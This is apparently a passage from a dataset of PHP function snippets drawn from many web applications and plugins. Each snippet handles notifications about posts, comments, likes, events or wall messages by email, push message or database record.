$rows->receiver,\n\t\t\t\t\t\t\t'sender_user_id' => $rows->sender,\n\t\t\t\t\t\t\t'sender_user_name' => $senderInfo->username,\n\t\t\t\t\t\t\t'object_id' => $rows->object_id ? $rows->object_id : 0,\n\t\t\t\t\t\t\t'user_details' => $user_details,\n\t\t\t\t\t\t\t'batch_count' => 0,\n\t\t\t\t\t\t\t'vibrate' => 1,\n\t\t\t\t\t\t\t'sound' => 1,\n\t\t\t\t\t\t\t'largeIcon' => 'large_icon',\n\t\t\t\t\t\t\t'smallIcon' => 'small_icon',\n\t\t\t\t\t\t);\n\t\t\t\t\t\t$response = \\OneSignalServiceHelpers::sendPushNotification($userRow, $msg);\n\t\t\t\t\t\t$this->info($response);\n\t\t\t\t\t}\n\t\t\t\t\t$this->info(json_encode($userRow));\n\t\t\t\t}\n\t\t\t\t$this->updateNotificationStatus($notification_id);\n\t\t\t}\n\t\t}\n\t}", "public function onPostShowing(Post $post)\n {\n $user = auth()->user();\n if (!isAdmin($user)) {\n $post->increment('view_count');\n }\n\n if (auth()->check()) {\n $unreadNotifications = $user->unreadNotifications;\n foreach ($unreadNotifications as $notifications) {\n $comment = $notifications->data;\n if ($comment['commentable_type'] == 'App\\Post' && $comment['commentable_id'] == $post->id) {\n $notifications->markAsRead();\n }\n }\n }\n }", "static function like_post($id_post,$id_liker){\n if(!(($id_user = PDOQueries::get_publisher_id($id_post)) > 0))\n throw new \\PersonalizeException(2001);\n $marker = '{like_post}{id_user/'.$id_liker.'}';\n $link = 'index.php?'.Navigation::$navigation_marker.'='.Timeline::$post_id_page.'#'.$id_post;\n return PDOQueries::add_notification($id_user,$marker,$link);\n }", "public function notify_blog_post( $post, $type ) {\n\t\tif ( defined( 'WP_IMPORTING' ) && WP_IMPORTING ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$user_id = 'new' === $type ? $post->post_author : get_current_user_id();\n\t\t$user = get_user_by( 'id', $user_id );\n\n\t\t$content = wp_trim_words(\n\t\t\tstrip_shortcodes( has_excerpt( $post ) ? $post->post_excerpt : $post->post_content ),\n\t\t\t55\n\t\t);\n\n\t\t$args = array(\n\t\t\t'action' => 'wporg_handle_activity',\n\t\t\t'type' => $type,\n\t\t\t'source' => 'wordpress',\n\t\t\t'user' => $user->user_login,\n\t\t\t'post_id' => $post->ID,\n\t\t\t'blog' => get_bloginfo( 'name' ),\n\t\t\t'blog_url' => site_url(),\n\t\t\t'post_type' => $post->post_type,\n\t\t\t'title' => get_the_title( $post ),\n\t\t\t'content' => $content,\n\t\t\t'url' => get_permalink( $post->ID ),\n\t\t);\n\n\t\tProfiles\\api( $args );\n\t}", "function user_notification($mode, &$post_data, &$topic_title, &$forum_id, &$topic_id, &$post_id, &$notify_user)\n{\n\tglobal $bb_cfg, $lang, $db;\n\tglobal $userdata;\n\n\tif (!$bb_cfg['topic_notify_enabled'])\n\t{\n\t\treturn;\n\t}\n\n\t$current_time = time();\n\n\tif ($mode != 'delete')\n\t{\n\t\tif ($mode == 'reply')\n\t\t{\n\t\t\t$sql = \"SELECT ban_userid\n\t\t\t\tFROM bb_banlist\";\n\t\t\tif (!($result = $db->sql_query($sql)))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain banlist', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\t$user_id_sql = '';\n\t\t\twhile ($row = $db->sql_fetchrow($result))\n\t\t\t{\n\t\t\t\tif (isset($row['ban_userid']) && !empty($row['ban_userid']))\n\t\t\t\t{\n\t\t\t\t\t$user_id_sql .= ', ' . $row['ban_userid'];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$sql = \"SELECT u.user_id, u.user_email, u.user_lang\n\t\t\t\tFROM bb_topics_watch tw, bb_users u\n\t\t\t\tWHERE tw.topic_id = $topic_id\n\t\t\t\t\tAND tw.user_id NOT IN (\" . $userdata['user_id'] . \", \" . ANONYMOUS . $user_id_sql . \")\n\t\t\t\t\tAND tw.notify_status = \" . TOPIC_WATCH_UN_NOTIFIED . \"\n\t\t\t\t\tAND u.user_id = tw.user_id\";\n\t\t\tif (!($result = $db->sql_query($sql)))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain list of topic watchers', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\n\t\t\t$update_watched_sql = '';\n\t\t\t$bcc_list_ary = array();\n\n\t\t\tif ($row = $db->sql_fetchrow($result))\n\t\t\t{\n\t\t\t\t// Sixty second limit\n\t\t\t\t@set_time_limit(60);\n\n\t\t\t\tdo\n\t\t\t\t{\n\t\t\t\t\tif ($row['user_email'] != '')\n\t\t\t\t\t{\n\t\t\t\t\t\t$bcc_list_ary[$row['user_lang']][] = $row['user_email'];\n\t\t\t\t\t}\n\t\t\t\t\t$update_watched_sql .= ($update_watched_sql != '') ? ', ' . $row['user_id'] : $row['user_id'];\n\t\t\t\t}\n\t\t\t\twhile ($row = $db->sql_fetchrow($result));\n\n\t\t\t\t//\n\t\t\t\t// Let's do some checking to make sure that mass mail functions\n\t\t\t\t// are working in win32 versions of php.\n\t\t\t\t//\n\t\t\t\tif (preg_match('/[c-z]:\\\\\\.*/i', getenv('PATH')) && !$bb_cfg['smtp_delivery'])\n\t\t\t\t{\n\t\t\t\t\t$ini_val = (@phpversion() >= '4.0.0') ? 'ini_get' : 'get_cfg_var';\n\n\t\t\t\t\t// We are running on windows, force delivery to use our smtp functions\n\t\t\t\t\t// since php's are broken by default\n\t\t\t\t\tif (!@$ini_val('sendmail_path')) {\n\t\t\t\t\t$bb_cfg['smtp_delivery'] = 1;\n\t\t\t\t\t$bb_cfg['smtp_host'] = @$ini_val('SMTP');\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (sizeof($bcc_list_ary))\n\t\t\t\t{\n\t\t\t\t\trequire SITE_DIR . 'includes/emailer.php';\n\t\t\t\t\t$emailer = new emailer($bb_cfg['smtp_delivery']);\n\n\t\t\t\t\t$script_name = preg_replace('/^\\/?(.*?)\\/?$/', '\\1', trim($bb_cfg['script_path']));\n\t\t\t\t\t$script_name = ($script_name != '') ? $script_name . '/viewtopic.php' : 'viewtopic.php';\n\t\t\t\t\t$server_name = trim($bb_cfg['server_name']);\n\t\t\t\t\t$server_protocol = ($bb_cfg['cookie_secure']) ? 'https://' : 'http://';\n\t\t\t\t\t$server_port = ($bb_cfg['server_port'] <> 80) ? ':' . trim($bb_cfg['server_port']) . '/' : '/';\n\n\t\t\t\t\t$orig_word = array();\n\t\t\t\t\t$replacement_word = array();\n\t\t\t\t\tobtain_word_list($orig_word, $replacement_word);\n\n\t\t\t\t\t$emailer->from($bb_cfg['board_email']);\n\t\t\t\t\t$emailer->replyto($bb_cfg['board_email']);\n\n\t\t\t\t\t$topic_title = (count($orig_word)) ? preg_replace($orig_word, $replacement_word, unprepare_message($topic_title)) : unprepare_message($topic_title);\n\n\t\t\t\t\t@reset($bcc_list_ary);\n\t\t\t\t\twhile (list($user_lang, $bcc_list) = each($bcc_list_ary))\n\t\t\t\t\t{\n\t\t\t\t\t\t$emailer->use_template('topic_notify', $user_lang);\n\n\t\t\t\t\t\tfor ($i = 0; $i < count($bcc_list); $i++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$emailer->bcc($bcc_list[$i]);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// The Topic_reply_notification lang string below will be used\n\t\t\t\t\t\t// if for some reason the mail template subject cannot be read\n\t\t\t\t\t\t// ... note it will not necessarily be in the posters own language!\n\t\t\t\t\t\t$emailer->set_subject($lang['Topic_reply_notification']);\n\n\t\t\t\t\t\t// This is a nasty kludge to remove the username var ... till (if?)\n\t\t\t\t\t\t// translators update their templates\n\t\t\t\t\t\t$emailer->msg = preg_replace('#[ ]?{USERNAME}#', '', $emailer->msg);\n\n\t\t\t\t\t\t$emailer->assign_vars(array(\n\t\t\t\t\t\t\t'EMAIL_SIG' => (!empty($bb_cfg['board_email_sig'])) ? str_replace('<br />', \"\\n\", \"-- \\n\" . $bb_cfg['board_email_sig']) : '',\n\t\t\t\t\t\t\t'SITENAME' => $bb_cfg['sitename'],\n\t\t\t\t\t\t\t'TOPIC_TITLE' => $topic_title,\n\n\t\t\t\t\t\t\t'U_TOPIC' => $server_protocol . $server_name . $server_port . $script_name . '?' . POST_POST_URL . \"=$post_id#$post_id\",\n\t\t\t\t\t\t\t'U_STOP_WATCHING_TOPIC' => $server_protocol . $server_name . $server_port . $script_name . '?' . POST_TOPIC_URL . \"=$topic_id&unwatch=topic\")\n\t\t\t\t\t\t);\n\n\t\t\t\t\t\t$emailer->send();\n\t\t\t\t\t\t$emailer->reset();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t$db->sql_freeresult($result);\n\n\t\t\tif ($update_watched_sql != '')\n\t\t\t{\n\t\t\t\t$sql = \"UPDATE bb_topics_watch\n\t\t\t\t\tSET notify_status = \" . TOPIC_WATCH_NOTIFIED . \"\n\t\t\t\t\tWHERE topic_id = $topic_id\n\t\t\t\t\t\tAND user_id IN ($update_watched_sql)\";\n\t\t\t\t$db->sql_query($sql);\n\t\t\t}\n\t\t}\n\n\t\t$sql = \"SELECT topic_id\n\t\t\tFROM bb_topics_watch\n\t\t\tWHERE topic_id = $topic_id\n\t\t\t\tAND user_id = \" . $userdata['user_id'];\n\t\tif (!($result = $db->sql_query($sql)))\n\t\t{\n\t\t\tmessage_die(GENERAL_ERROR, 'Could not obtain topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t}\n\n\t\t$row = $db->sql_fetchrow($result);\n\n\t\tif (!$notify_user && !empty($row['topic_id']))\n\t\t{\n\t\t\t$sql = \"DELETE FROM bb_topics_watch\n\t\t\t\tWHERE topic_id = $topic_id\n\t\t\t\t\tAND user_id = \" . $userdata['user_id'];\n\t\t\tif (!$db->sql_query($sql))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not delete topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\t\t}\n\t\telse if ($notify_user && empty($row['topic_id']))\n\t\t{\n\t\t\t$sql = \"INSERT INTO bb_topics_watch (user_id, topic_id, notify_status)\n\t\t\t\tVALUES (\" . $userdata['user_id'] . \", $topic_id, 0)\";\n\t\t\tif (!$db->sql_query($sql))\n\t\t\t{\n\t\t\t\tmessage_die(GENERAL_ERROR, 'Could not insert topic watch information', '', __LINE__, __FILE__, $sql);\n\t\t\t}\n\t\t}\n\t}\n}", "function check_and_publish_future_post($post)\n {\n }", "function wpgnv_mail_on_post( $post_id ) {\n\tif ( 'pending' == get_post_status( $post_id ) ) {\n\t\t$post_title = get_the_title( $post_id );\n\t\t$subject = 'A new Idea has been submitted on wpgnv.com!';\n\t\t$message = \"Please moderate this Idea as soon as possible.\\n\\n\";\n\t\t$message .= \"TITLE: $post_title \\n\\n\";\t\n\t\t$message .= \"Link: http://wpgnv.com/wp-admin\";\n\t\t//$message = get_post_status( $post_id );\n\t\twp_mail( 'ryan@digitalbrands.com', $subject, $message );\n\t\twp_mail( 'admin@wpbeginner.com', $subject, $message );\n\t\twp_mail( 'toby@digitalbrands.com', $subject, $message );\n\t}\n}", "public function iN_CheckNotificationInsertedBeforePostLike($userID, $postID) {\n\t\t$userID = mysqli_real_escape_string($this->db, $userID);\n\t\t$postID = mysqli_real_escape_string($this->db, $postID);\n\t\t$check = mysqli_query($this->db, \"SELECT not_iuid, not_post_id FROM i_user_notifications WHERE not_iuid = '$userID' AND not_post_id = '$postID' AND not_not_type = 'postLike'\") or die(mysqli_error($this->db));\n\t\tif (mysqli_num_rows($check) == 1) {\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "function register_notification_interest($user_guid, $author_guid) {\n\treturn add_entity_relationship($user_guid, 'notify', $author_guid);\n}", "function mark_notification() {\n\t\tif ( check_ajax_referer( 'ht-dms', 'nonce' ) ) {\n\t\t\t$nID = pods_v_sanitized( 'nID', $_REQUEST );\n\t\t\t$value = ( pods_v( 'mark', $_REQUEST ) );\n\n\t\t\tif ( $nID && in_array( $value, array( 1, 0 ) ) ) {\n\t\t\t\t$id = ht_dms_notification_class()->viewed( $nID, null, $value );\n\n\t\t\t\tif ( $id == $nID ) {\n\t\t\t\t\twp_die( 1 );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\twp_die( 0 );\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t}", "public function onNewPost(PostEvent $event): bool\n {\n $user = $event->user;\n $badges = Badge::where('type', 'onNewPost')->get();\n\n $collection = $badges->filter(function ($badge) use ($user) {\n return $badge->rule <= $user->discuss_post_count;\n });\n\n $result = $user->badges()->syncWithoutDetaching($collection);\n\n return $this->sendNotifications($result, $badges, $user);\n }", "function wp_notify_postauthor($comment_id, $deprecated = \\null)\n {\n }", "function notify_reviewer( $post_ID, $post, $dowhat='publish' ) {\n\t\t\tglobal $wpdb, $current_user;\n\t\t\t$last_revision = $wpdb->get_var( $wpdb->prepare( \"SELECT ID FROM $wpdb->posts WHERE post_parent=%d AND post_type=%s ORDER BY post_date DESC LIMIT 1\", $post_ID, 'revision' ) );\n\t\t\t$post_content = 'draft' == $dowhat ? get_post( $last_revision ) : get_post( $post_ID );\n\t\t\t$last_mod = $post_content->post_date;\n\t\t\t$post_content = $post_content->post_content;\n\t\t\t$revision_compare_link = admin_url( 'revision.php?action=diff&post_type=' . $post->post_type . '&right=' . $post->ID . '&left=' . $last_revision );\n\t\t\t$body = sprintf( __( \"New changes have been made to \\\"%s\\\" at <%s>. \", $this->text_domain ), $post->post_title, get_permalink( $post->ID ) );\n\t\t\tif( 'draft' == $dowhat ) {\n\t\t\t\t$body .= __( \"The author has requested that you review the new changes and determine whether to remove or approve them. These changes will not appear on the public website until you approve them.\\n\\n\", $this->text_domain );\n\t\t\t} else {\n\t\t\t\t$body .= __( \"The modifications have been published, but the author of the page has requested you be notified of them.\\n\\n\", $this->text_domain );\n\t\t\t}\n\t\t\t$body .= sprintf( __( \"The new content of the page is shown below if you would like to review it. You can also review %s the changes at %s. Thank you. \\n\\n======================================================= \\nRevisions made at %s \\n======================================================= \\n\\n%s\", $this->text_domain ), ( 'draft' == $dowhat ? __( \" and approve/reject \", $this->text_domain ) : '' ), $revision_compare_link, $last_mod, $post_content );\n\t\t\t\n\t\t\t$headers = \"From: {$current_user->display_name} <{$current_user->user_email}>\\r\\n\";\n\t\t\t\n\t\t\twp_mail( $this->reviewers, sprintf( __( '[%s] New modifications to %s' ), get_bloginfo('name'), $post->post_title ), $body, $headers );\n\t\t}", "function mentionMePostbit(&$post)\n{\n\tglobal $mybb, $theme, $lang, $templates, $forumpermissions,\n\t$fid, $post_type, $thread, $forum;\n\n\tif ($mybb->settings['quickreply'] == 0 ||\n\t\t$mybb->user['suspendposting'] == 1 ||\n\t\t$forumpermissions['canpostreplys'] == 0 ||\n\t\t($thread['closed'] == 1 && !is_moderator($fid)) ||\n\t\t$forum['open'] == 0 ||\n\t\t$post_type ||\n\t\t$mybb->user['uid'] == $post['uid']) {\n\t\treturn;\n\t}\n\n\t// tailor JS to postbit setting\n\t$js = \"javascript:MentionMe.insert('{$post['username']}');\";\n\tif ($mybb->settings['mention_multiple']) {\n\t\t$js = \"javascript:MentionMe.multi.mention({$post['pid']});\";\n\t}\n\n\teval(\"\\$post['button_mention'] = \\\"\" . $templates->get('mentionme_postbit_button') . \"\\\";\");\n}", "public function send_subscriptions(){\r\n //send email to all those who have subscribed to posts from this author\r\n\r\n }", "function dispatch_wiki_post_notification($post_id, $type)\n{\n require_lang('wiki');\n\n $page_id = $GLOBALS['SITE_DB']->query_select_value('wiki_posts', 'page_id', array('id' => $post_id));\n $the_message = $GLOBALS['SITE_DB']->query_select_value('wiki_posts', 'the_message', array('id' => $post_id));\n $page_name = get_translated_text($GLOBALS['SITE_DB']->query_select_value('wiki_pages', 'title', array('id' => $page_id)));\n $_the_message = get_translated_text($the_message);\n\n $_view_url = build_url(array('page' => 'wiki', 'type' => 'browse', 'id' => $page_id), get_page_zone('wiki'), null, false, false, true);\n $view_url = $_view_url->evaluate();\n $their_displayname = $GLOBALS['FORUM_DRIVER']->get_username(get_member(), true);\n $their_username = $GLOBALS['FORUM_DRIVER']->get_username(get_member());\n\n require_code('notifications');\n\n $subject = do_lang($type . '_WIKI_POST_SUBJECT', $page_name, $their_displayname, $their_username, get_site_default_lang());\n $message_raw = do_notification_lang($type . '_WIKI_POST_BODY', comcode_escape($their_displayname), comcode_escape($page_name), array(comcode_escape($view_url), $_the_message, strval(get_member()), comcode_escape($their_username)), get_site_default_lang());\n\n dispatch_notification('wiki', strval($page_id), $subject, $message_raw);\n}", "protected function sendNotification(){\n\t\t$events = Event::getEvents(0);\n\t\t\n\t\t\n\t\tforeach($events as $event)\n\t\t{\n\t\t\t\n\t\t\t\n\t\t\t$eventType = $event['eventType'];\n\t\t\t$message = '';\n\t\t\n\t\t\t//notify followers\n\t\t\tif($eventType == Event::POST_CREATED)\n\t\t\t\t$message = $event['raiserName'] . ' added a new post.';\n\t\t\telse if($eventType == Event::POST_LIKED)\n\t\t\t\t$message = $event['raiserName'] . ' liked a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::POST_FLAGGED)\n\t\t\t\t$message = $event['raiserName'] . ' flagged a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::COMMENT_CREATED)\n\t\t\t\t$message = $event['raiserName'] . ' commented on a post of ' . $event['relatedUserName'];\n\t\t\telse if($eventType == Event::RESTAURANT_MARKED_FAVOURITE)\n\t\t\t\t$message = $event['raiserName'] . ' marked a restaurant as favourite.';\n\t\t\telse if($eventType == Event::USER_FOLLOWED)\n\t\t\t\t$message = $event['raiserName'] . ' is now following ' . $event['relatedUserName'];\n\t\t\n\t\t\tif(!empty($message))\n\t\t\t{\n\t\t\t\t//fetch all followers of the event raiser or related user\n\t\t\t\t$sql = Follower::getQueryForFollower($event['raiserId']);\n\t\t\n\t\t\t\tif($event['relatedUserId'])\n\t\t\t\t\t$sql .= ' OR f.followedUserId =' . $event['relatedUserId'];\n\t\t\n// \t\t\t\t$followers = Yii::app()->db->createCommand($sql)->queryAll(true);\n// \t\t\t\tforeach($followers as $follower)\n// \t\t\t\t{\n// \t\t\t\t\tif($follower['id'] != $event['raiserId'] && $follower['id'] != $event['relatedUserId'])\n// \t\t\t\t\t{\n// // \t\t\t\t\t\t$did = Notification::saveNotification($follower['id'], Notification::NOTIFICATION_GROUP_WORLD, $message, $event['id']);\n// // \t\t\t\t\t\terror_log('DID : => '.$did);\n// \t\t\t\t\t\t//send push notification\n// \t\t\t\t\t\t/**----- commented as no followers will be notified, as suggested by the client\n// \t\t\t\t\t\t$session = Session::model()->findByAttributes(array('deviceToken'=>$follower['deviceToken']));\n// \t\t\t\t\t\tif($session)\n// \t\t\t\t\t\t{\n// \t\t\t\t\t\t$session->deviceBadge += 1;\n// \t\t\t\t\t\t$session->save();\n// \t\t\t\t\t\tsendApnsNotification($follower['deviceToken'], $message, $follower['deviceBadge']);\n// \t\t\t\t\t\t}\n// \t\t\t\t\t\t*****/\n// \t\t\t\t\t}\n// \t\t\t\t}\n\t\t\t}\n\t\t\n\t\t\t//notify the related user\n\t\t\tif($event['relatedUserId'] && $event['relatedUserId'] != $event['raiserId'])\n\t\t\t{\n\t\t\t\tif($eventType == Event::POST_LIKED)\n\t\t\t\t\t$message = $event['raiserName'] . ' liked your post.';\n\t\t\t\telse if($eventType == Event::POST_FLAGGED)\n\t\t\t\t\t$message = $event['raiserName'] . ' flagged your post.';\n\t\t\t\telse if($eventType == Event::COMMENT_CREATED)\n\t\t\t\t\t$message = $event['raiserName'] . ' commented on your post.';\n\t\t\t\telse if($eventType == Event::USER_FOLLOWED)\n\t\t\t\t\t$message = $event['raiserName'] . ' is now following you.';\n\t\t\t\telse if($eventType == Event::USER_MENTIONED_COMMENT){\n\t\t\t\t\t$message = $event['raiserName'] . ' mentioned you in a comment.';\n// \t\t\t\t\t$eventType = Event::COMMENT_CREATED;\n\t\t\t\t}\n\t\t\t\telse if($eventType == Event::USER_MENTIONED_POST){\n\t\t\t\t\t$message = $event['raiserName'] . ' mentioned you in a post.';\n// \t\t\t\t\t$eventType = Event::COMMENT_CREATED;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\t\t\t\tif(!empty($message))\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t$notfyId = Notification::saveNotification($event['relatedUserId'], Notification::NOTIFICATION_GROUP_YOU, $message, $event['id']);\n\t\t\t\t\t$session = Session::model()->findByAttributes(array('userId'=>$event['relatedUserId']));\n// \t\t\t\t\terror_log('SESSION_LOG : '. print_r( $session, true ) );\n\t\t\t\t\t\t\t\t\n\t\t\t\t\tif(!is_null($session) && !empty($session) && $session->deviceToken)\n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\t$notifyData = array(\n// \t\t\t\t\t\t\t\t\"id\" => $notfyId,\n// \t\t\t\t\t\t\t\t\"receiverId\" => $event['relatedUserId'],\n// \t\t\t\t\t\t\t\t\"notificationGroup\" => Notification::NOTIFICATION_GROUP_YOU,\n\t\t\t\t\t\t\t\t\"alert\" => $message,\n// \t\t\t\t\t\t\t\t\"eventId\" => $event['id'],\n// \t\t\t\t\t\t\t\t\"isSeen\" => \"0\",\n\t\t\t\t\t\t\t\t\"eventType\" => $eventType,\n// \t\t\t\t\t\t\t\t\"raiserId\" => $event['raiserId'],\n// \t\t\t\t\t\t\t\t\"raiserName\" => $event['raiserName'],\n// \t\t\t\t\t\t\t\t\"relatedUserId\" => $event['relatedUserId'],\n// \t\t\t\t\t\t\t\t\"relatedUserName\" => $event['relatedUserName'],\n\t\t\t\t\t\t\t\t\"elementId\" => $event['elementId'],\n\t\t\t\t\t\t\t\t\"eventDate\" => $event['eventDate'],\n// \t\t\t\t\t\t\t\t\"isNotified\" => $event['isNotified'],\n\t\t\t\t\t\t\t\t'badge' => $session->deviceBadge,\n\t\t\t\t\t\t\t\t'sound' => 'default'\n\t\t\t\t\t\t);\n\t\t\t\t\t\t\n// \t\t\t\t\t\t\techo 'Notify Data : ';\n// \t\t\t\t\t\tprint_r($notifyData);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$session->deviceBadge += 1;\n\t\t\t\t\t\t$session->save();\n\t\t\t\t\t\tsendApnsNotification($session->deviceToken, $message, $session->deviceBadge, $notifyData);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}elseif( isset($event['message']) && $event['message'] !=null){\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$devices = array();\n\t\t\t\t$sql = 'SELECT id, deviceToken, deviceBadge from session where role=\"manager\"';\n\t\t\t\t\n\t\t\t $rows = Yii::app()->db->createCommand($sql)->queryAll(true);\n\t\t \t$chunk=1;\t\t \n\t\t \n\t\t\t\tforeach ($rows as $row){\n\t\t\t\t\t$devices[] = array(\n\t\t\t\t\t\t\t'deviceToken'=>$row['deviceToken'],\n\t\t\t\t\t\t\t'notifyData' => array('aps'=> array(\n\t\t\t\t\t\t\t\t\t\"alert\" => $event['message'],\n\t\t\t\t\t\t\t\t\t\"eventType\" => $event['eventType'],\n\t\t\t\t\t\t\t\t\t\"elementId\" => $event['id'],\n\t\t\t\t\t\t\t\t\t\"eventDate\" => $event['eventDate'],\n\t\t\t\t\t\t\t\t\t'badge' => $row['deviceBadge'],\n\t\t\t\t\t\t\t\t\t'sound' => 'default'\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif($chunk > 4){\n\t\t\t\t\t\tsendApnsNotification($devices, '');\n\t\t\t\t\t\t$chunk=1;\n\t\t\t\t\t\t$devices = array();\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$chunk++;\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\tif(!empty($devices)){\n\t\t\t\t\techo 'Sending...'.date(DATE_RFC850).\"\\n\";\n\t\t\t\t\tsendApnsNotification($devices, '');\n\t\t\t\t\techo 'done '.date(DATE_RFC850).\"\\n\";\n\t\t\t\t}\n// \t\t\t\t$notfyId = Notification::saveNotification($event['relatedUserId'], Notification::NOTIFICATION_GROUP_YOU, $message, $event['id']);\n\n// \t\t\t\t$insertSql = 'INSERT into notification (receiverId, notificationGroup, message, eventId) (select id, \"1\", \"'.$event['message'].'\", '.$event['id'].' from user where isDisabled = 0 and role=\"manager\")';\n// \t\t\t\tYii::app()->db->createCommand($insertSql)->query();\n\t\t\t\t\n\t\t\t}\n\t\t\tEvent::model()->updateByPk($event['id'], array('isNotified'=>1));\n\t\t}\n\t\t\n\t\t\n\t\t\n\t}", "function postCommentNotify($id, $postId){\r\n $commentManager = new CommentsManager();\r\n $notify = $commentManager->postNotify($id);\r\n}", "function pp_events_send_attend_notification( $to_user_id = 0, $from_user_id = 0, $post_id = 0 ) {\r\n\r\n\tif ( empty( $to_user_id ) || empty( $from_user_id ) || empty( $post_id ) )\r\n\t\treturn;\r\n\r\n\t$bp = buddypress();\r\n\r\n\r\n\t$send_notify = get_post_meta( $post_id, 'event-attend-notify', true );\r\n\r\n\tif ( ! empty( $send_notify ) ) {\r\n\r\n\t\tbp_notifications_add_notification( array(\r\n\t\t\t'user_id' => $to_user_id,\r\n\t\t\t'item_id' => $post_id,\r\n\t\t\t'secondary_item_id' => $from_user_id,\r\n\t\t\t'component_name' => $bp->events->id,\r\n\t\t\t'component_action' => 'event_attender'\r\n\t\t) );\r\n\t}\r\n\r\n\r\n\t// Check to see if the Event owner wants emails\r\n\tif( 'yes' == get_user_meta( (int)$to_user_id, 'notification_events', true ) ) {\r\n\r\n\t\t$sender_name = bp_core_get_user_displayname( $from_user_id, false );\r\n\t\t$receiver_name = bp_core_get_user_displayname( $to_user_id, false );\r\n\t\t$receiver_email = bp_core_get_user_email( $to_user_id );\r\n\r\n\t\t$sender_profile_link = trailingslashit( bp_core_get_user_domain( $from_user_id ) );\r\n\t\t$event_link = get_permalink( $post_id );\r\n\r\n\t\t$attendees = get_post_meta( $post_id, 'event-attendees', true );\r\n\t\tif( in_array( $from_user_id, $attendees ) )\r\n\t\t\t$going = __( 'is attending your Event', 'bp-simple-events' );\r\n\t\telse\r\n\t\t\t$going = __( 'is not attending your Event', 'bp-simple-events' );\r\n\r\n\t\t// Set up and send the message\r\n\t\t$to = $receiver_email;\r\n\t\t$subject = '[' . get_blog_option( 1, 'blogname' ) . '] ' . sprintf( __( '%s %s', 'bp-simple_events' ), stripslashes( $sender_name ), $going );\r\n\r\n\r\n\t\t$message = sprintf( __(\r\n'%s %s\r\n\r\nTo see %s\\'s profile: %s\r\n\r\nEvent: %s\r\n\r\n---------------------\r\n', 'bp-simple_events' ), $sender_name, $going, $sender_name, $sender_profile_link, $event_link );\r\n\r\n\t\t// Only add the link to email notifications settings if the component is active\r\n\t\tif ( bp_is_active( 'settings' ) ) {\r\n\t\t\t$receiver_settings_link = trailingslashit( bp_core_get_user_domain( $to_user_id ) . bp_get_settings_slug() . '/notifications' );\r\n\t\t\t$message .= sprintf( __( 'To disable these notifications please log in and go to: %s', 'bp-simple_events' ), $receiver_settings_link );\r\n\t\t}\r\n\r\n\t\twp_mail( $to, $subject, $message );\r\n\r\n\t}\r\n}", "function send_custom_notifications($event, $entity_type, $entity) {\n\n\tif ($entity->origin !== 'wall') {\n\t\treturn true;\n\t}\n\n\t// We only want to notify about wire posts and wall posts, all content created therewith is implied\n\t$accepted_subtypes = array('hjwall', 'thewire');\n\tif (!in_array($entity->getSubtype(), $accepted_subtypes)) {\n\t\treturn true;\n\t}\n\n\t$poster = $entity->getOwnerEntity();\n\t$container = $entity->getContainerEntity();\n\t$message = format_wall_message($entity, true);\n\n\t$sent = array(elgg_get_logged_in_user_guid(), $poster->guid, $container->guid);\n\n\t// Notify wall owner\n\tif ($poster->guid !== $container->guid && elgg_instanceof($container, 'user')) {\n\t\t$to_guid = $container->guid;\n\t\t$from_guid = $poster->guid;\n\n\t\t$target = elgg_echo(\"wall:target:{$entity->getSubtype()}\");\n\t\t$ownership = elgg_echo('wall:ownership:your', array($target));\n\n\t\t$subject = elgg_echo('wall:new:notification:subject', array($poster->name, $ownership));\n\t\t$summary = elgg_view('output/url', array(\n\t\t\t'text' => $subject,\n\t\t\t'href' => $entity->getURL(),\n\t\t));\n\t\t$body = elgg_echo('wall:new:notification:message', array(\n\t\t\t$poster->name,\n\t\t\t$ownership,\n\t\t\t$message,\n\t\t\t$entity->getURL()\n\t\t));\n\n\t\tnotify_user($to_guid, $from_guid, $subject, $body, array(\n\t\t\t'summary' => $summary,\n\t\t\t'object' => $entity,\n\t\t\t'action' => 'received',\n\t\t));\n\t}\n\n\t// Notify tagged users\n\t$tagged_friends = get_tagged_friends($entity);\n\tforeach ($tagged_friends as $tagged_friend) {\n\t\t// user tagged herself or the wall owner\n\t\tif ($tagged_friend->guid == $poster->guid || $tagged_friend->guid == $container->guid || in_array($tagged_friend->guid, $sent)) {\n\t\t\tcontinue;\n\t\t}\n\n\t\t$sent[] = $tagged_friend->guid;\n\n\t\t$to_guid = $tagged_friend->guid;\n\t\t$from_guid = $poster->guid;\n\t\t$subject = elgg_echo('wall:tagged:notification:subject', array($poster->name));\n\t\t$summary = elgg_view('output/url', array(\n\t\t\t'text' => $subject,\n\t\t\t'href' => $entity->getURL(),\n\t\t));\n\t\t$body = elgg_echo('wall:tagged:notification:message', 